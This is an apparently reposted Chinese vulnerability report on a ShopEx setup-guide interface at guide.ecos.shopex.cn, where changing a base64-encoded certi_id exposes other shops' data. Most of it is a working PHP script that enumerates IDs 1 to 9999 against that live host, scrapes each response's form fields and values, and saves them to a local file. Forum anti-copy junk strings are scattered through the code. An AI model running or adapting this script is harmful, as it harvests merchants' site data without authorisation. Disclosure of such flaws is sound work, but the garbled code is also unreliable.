ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
2 G' }5 d+ t3 t& R问题出现在shopex 网店使用向导页面



http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

# }% b2 s, O6 {" {2 T8 q# i

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
9 p* H' r, w! @$ T3 F5 G3 |1 z
0 k- S9 W% Y5 V( Z: ?1 U
9 o0 ^, h" s" a. ~$ w
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


3 J# J- ?# u; ]1 i
<?php
5 S& [6 U7 c2 X5 @3 B! V
                for ($i=1; $i < 10000; $i++) { //遍历
1 V6 W! q( L6 x- P1 d' R
                        ShowshopExD($i);
% y$ \, a) _& _5 a0 }* q* i/ O* V
. r- b0 _# v+ _) [$ f" `+ @                }
- M6 \" k; Q1 H
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

1 H9 ^$ n! v: n0 n) p( N                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
" D3 |" L7 A: U/ Q$ j2 t! I
: e$ d7 f8 I8 v# b- `        $url = $url.'?refer='.$refer;

) M- y# w' W, ]0 U9 F6 E/ T/ d        $ch = curl_init($url);
1 x$ X' W& @' c
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

1 L7 U. n! Y' q1 F        $result = curl_exec($ch);
$ F) ~- }; U5 s6 p- @+ b
7 G' s4 N: y& m4 s, ?- x! ?        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
  R) ^4 K* X3 K6 B2 }
  K% e9 c6 Z' A8 X" T        {
5 ?9 v5 i9 M( K. z! L9 w
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

( V. H& o7 Q9 D* q- ]                foreach ($value[1] as $key) {
  S# I" t+ W+ B% M, G
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
9 s/ X! J1 H4 v) k; t; Z- f( j8 ]3 S
6 c( z4 v* T& c$ o: x; L                        $col =$res[1][0].':'.$res[3][0]."\r\n";
1 \5 \! D8 I0 U/ h5 L1 l
4 ^5 y) b7 j% Q5 T% X; x% X# S- Y                        fwrite($fp, $col, strlen($col));

                }
+ x+ C, g  h1 d+ \+ _! [
! @# g& r, H* ]                echo '--------------------------------'."\r\n";
# ^! I' W5 c1 E- ~; `: |: L. ^
. ]6 W3 a8 {  L8 `  y' z                fclose($fp);

        }

        flush();

. g' c2 s; C0 ~1 U& I; b0 g        curl_close($ch);

                }

?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
+ ]: P( L6 {; d& e# Q3 B0 H2 O